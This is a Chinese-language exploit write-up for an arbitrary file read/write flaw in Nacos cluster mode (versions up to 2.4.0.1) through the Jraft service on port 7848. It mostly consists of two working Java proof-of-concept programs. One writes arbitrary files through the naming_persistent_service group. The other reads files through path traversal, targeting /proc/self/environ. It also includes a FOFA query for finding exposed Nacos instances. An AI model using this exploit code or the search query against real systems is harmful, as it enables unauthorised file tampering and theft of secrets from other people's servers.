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Nacos任意文件读写漏洞

在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming_persistent_service的Group,该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor,在进行处理过程中会触发其父类onApplyonRequest方法,这两个方法会分别造成任意文件写入删除和任意文件读取

官方社区公告:https://nacos.io/blog/announcement-nacos-security-problem-file/

漏洞出现在Jraft服务(默认值7848)

fofa

title="Nacos"

任意文件写入

public static void send(String addr, byte[] payload) throws Exception {  
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
System.out.println(o);
}

public static void main(String[] args) throws Exception {
String address = "192.168.3.153:7848";
BatchWriteRequest request = new BatchWriteRequest();
request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa
JacksonSerializer serializer = new JacksonSerializer();
send(address, serializer.serialize(request));
}

任意文件读取

public static void send2(String addr, byte[] payload) throws Exception {  
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());
final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);
System.out.println(o);
}
public static void main(String[] args) throws Exception {
bypass();
String address = "192.168.3.153:7848";

JacksonSerializer serializer = new JacksonSerializer();
List byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());
send2(address, serializer.serialize(byteArrayList));

}

image-20240827224619150

漏洞来源